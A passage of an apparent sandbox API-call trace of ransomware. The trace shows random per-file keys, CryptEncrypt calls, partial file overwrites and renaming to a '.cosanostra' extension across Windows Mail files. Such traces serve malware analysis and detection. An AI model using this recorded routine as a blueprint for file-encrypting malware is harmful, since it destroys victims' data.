lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.260] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x1d51, lpNumberOfBytesWritten=0x26ff634, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff634*=0x1d51, lpOverlapped=0x0) returned 1 [0092.260] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.260] WriteFile (in: hFile=0x138, lpBuffer=0x26ff674*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff634, lpOverlapped=0x0 | out: lpBuffer=0x26ff674*, lpNumberOfBytesWritten=0x26ff634*=0x4, lpOverlapped=0x0) returned 1 [0092.260] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff634, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff634*=0x30, lpOverlapped=0x0) returned 1 [0092.260] CloseHandle (hObject=0x138) returned 1 [0092.260] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.cosanostra") returned 89 [0092.261] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg.cosanostra")) returned 1 [0092.261] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff678 | out: pbBuffer=0x26ff678) returned 1 [0092.261] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff670*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff670*=0x30) returned 1 [0092.261] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0092.262] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm") returned 87 [0092.262] StrStrW (lpFirst="Orange Circles.htm", lpSrch=".txt") returned 0x0 [0092.263] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff13, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.263] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0xed, lpNumberOfBytesWritten=0x26ff634, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff634*=0xed, lpOverlapped=0x0) returned 1 [0092.263] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.263] WriteFile (in: hFile=0x138, lpBuffer=0x26ff674*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff634, lpOverlapped=0x0 | out: lpBuffer=0x26ff674*, lpNumberOfBytesWritten=0x26ff634*=0x4, lpOverlapped=0x0) returned 1 [0092.263] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff634, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff634*=0x30, lpOverlapped=0x0) returned 1 [0092.263] CloseHandle (hObject=0x138) returned 1 [0092.263] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.cosanostra") returned 98 [0092.263] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm.cosanostra")) returned 1 [0092.264] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff670 | out: pbBuffer=0x26ff670) returned 1 [0092.264] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff668*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff668*=0x30) returned 1 [0092.264] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0092.349] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg") returned 83 [0092.349] StrStrW (lpFirst="HandPrints.jpg", lpSrch=".txt") returned 0x0 [0092.350] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffef82, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.350] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x107e, lpNumberOfBytesWritten=0x26ff62c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff62c*=0x107e, lpOverlapped=0x0) returned 1 [0092.351] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.351] WriteFile (in: hFile=0x138, lpBuffer=0x26ff66c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff62c, lpOverlapped=0x0 | out: lpBuffer=0x26ff66c*, lpNumberOfBytesWritten=0x26ff62c*=0x4, lpOverlapped=0x0) returned 1 [0092.351] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff62c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff62c*=0x30, lpOverlapped=0x0) returned 1 [0092.351] CloseHandle (hObject=0x138) returned 1 [0092.351] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.cosanostra") returned 94 [0092.351] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg.cosanostra")) returned 1 [0092.351] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff670 | out: pbBuffer=0x26ff670) returned 1 [0092.351] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff668*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff668*=0x30) returned 1 [0092.351] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0092.352] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm") returned 79 [0092.352] StrStrW (lpFirst="Garden.htm", lpSrch=".txt") returned 0x0 [0092.353] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff19, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.353] WriteFile (in: hFile=0x138, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xe7, lpNumberOfBytesWritten=0x26ff62c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff62c*=0xe7, lpOverlapped=0x0) returned 1 [0092.362] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.362] WriteFile (in: hFile=0x138, lpBuffer=0x26ff66c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff62c, lpOverlapped=0x0 | out: lpBuffer=0x26ff66c*, lpNumberOfBytesWritten=0x26ff62c*=0x4, lpOverlapped=0x0) returned 1 [0092.362] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff62c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff62c*=0x30, lpOverlapped=0x0) returned 1 [0092.362] CloseHandle (hObject=0x138) returned 1 [0092.584] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.cosanostra") returned 90 [0092.584] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm.cosanostra")) returned 1 [0092.584] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff668 | out: pbBuffer=0x26ff668) returned 1 [0092.585] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff660*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff660*=0x30) returned 1 [0092.585] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0092.585] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm") returned 78 [0092.585] StrStrW (lpFirst="Bears.htm", lpSrch=".txt") returned 0x0 [0092.586] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffff01, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.586] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x26ff624, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff624*=0xff, lpOverlapped=0x0) returned 1 [0092.586] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.586] WriteFile (in: hFile=0x138, lpBuffer=0x26ff664*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff624, lpOverlapped=0x0 | out: lpBuffer=0x26ff664*, lpNumberOfBytesWritten=0x26ff624*=0x4, lpOverlapped=0x0) returned 1 [0092.586] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff624, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff624*=0x30, lpOverlapped=0x0) returned 1 [0092.586] CloseHandle (hObject=0x138) returned 1 [0092.587] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.cosanostra") returned 89 [0092.587] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm.cosanostra")) returned 1 [0092.587] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff668 | out: pbBuffer=0x26ff668) returned 1 [0092.587] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff660*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff660*=0x30) returned 1 [0092.587] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\.." (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0092.588] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff660 | out: pbBuffer=0x26ff660) returned 1 [0092.588] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff658*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff658*=0x30) returned 1 [0092.588] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\." (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0092.588] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff660 | out: pbBuffer=0x26ff660) returned 1 [0092.588] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff658*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff658*=0x30) returned 1 [0092.588] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0092.588] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml") returned 67 [0092.588] StrStrW (lpFirst="oeold.xml", lpSrch=".txt") returned 0x0 [0092.589] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffffefc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.589] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x26ff61c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff61c*=0x104, lpOverlapped=0x0) returned 1 [0092.589] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.589] WriteFile (in: hFile=0x138, lpBuffer=0x26ff65c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff61c, lpOverlapped=0x0 | out: lpBuffer=0x26ff65c*, lpNumberOfBytesWritten=0x26ff61c*=0x4, lpOverlapped=0x0) returned 1 [0092.590] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff61c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff61c*=0x30, lpOverlapped=0x0) returned 1 [0092.590] CloseHandle (hObject=0x138) returned 1 [0092.590] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.cosanostra") returned 78 [0092.590] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml.cosanostra")) returned 1 [0092.591] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff658 | out: pbBuffer=0x26ff658) returned 1 [0092.591] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff650*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff650*=0x30) returned 1 [0092.591] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0092.591] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs") returned 73 [0092.591] StrStrW (lpFirst="edbres00002.jrs", lpSrch=".txt") returned 0x0 [0092.616] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.617] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff614, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff614*=0x2800, lpOverlapped=0x0) returned 1 [0092.617] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.617] WriteFile (in: hFile=0x138, lpBuffer=0x26ff654*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff614, lpOverlapped=0x0 | out: lpBuffer=0x26ff654*, lpNumberOfBytesWritten=0x26ff614*=0x4, lpOverlapped=0x0) returned 1 [0092.619] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff614, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff614*=0x30, lpOverlapped=0x0) returned 1 [0092.619] CloseHandle (hObject=0x138) returned 1 [0092.619] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs.cosanostra") returned 84 [0092.619] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs.cosanostra")) returned 1 [0092.620] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff658 | out: pbBuffer=0x26ff658) returned 1 [0092.620] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff650*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff650*=0x30) returned 1 [0092.620] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0092.621] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log") returned 70 [0092.621] StrStrW (lpFirst="edb00001.log", lpSrch=".txt") returned 0x0 [0092.632] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.632] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff614, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff614*=0x2800, lpOverlapped=0x0) returned 1 [0092.632] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.632] WriteFile (in: hFile=0x138, lpBuffer=0x26ff654*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff614, lpOverlapped=0x0 | out: lpBuffer=0x26ff654*, lpNumberOfBytesWritten=0x26ff614*=0x4, lpOverlapped=0x0) returned 1 [0092.637] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff614, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff614*=0x30, lpOverlapped=0x0) returned 1 [0092.637] CloseHandle (hObject=0x138) returned 1 [0092.637] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.cosanostra") returned 81 [0092.637] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log.cosanostra")) returned 1 [0092.641] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff648 | out: pbBuffer=0x26ff648) returned 1 [0092.641] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff640*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff640*=0x30) returned 1 [0092.641] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.pat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0092.642] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat") returned 84 [0092.642] StrStrW (lpFirst="WindowsMail.pat", lpSrch=".txt") returned 0x0 [0092.646] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.646] WriteFile (in: hFile=0x138, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff604, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff604*=0x2800, lpOverlapped=0x0) returned 1 [0092.646] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.646] WriteFile (in: hFile=0x138, lpBuffer=0x26ff644*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff604, lpOverlapped=0x0 | out: lpBuffer=0x26ff644*, lpNumberOfBytesWritten=0x26ff604*=0x4, lpOverlapped=0x0) returned 1 [0092.646] WriteFile (in: hFile=0x138, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff604, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x26ff604*=0x30, lpOverlapped=0x0) returned 1 [0092.647] CloseHandle (hObject=0x138) returned 1 [0092.647] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat.cosanostra") returned 95 [0092.647] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.pat"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.pat.cosanostra")) returned 1 [0092.648] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff648 | out: pbBuffer=0x26ff648) returned 1 [0092.648] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x26ff640*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x26ff640*=0x30) returned 1 [0092.648] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.msmessagestore"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0092.648] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore") returned 95 [0092.648] StrStrW 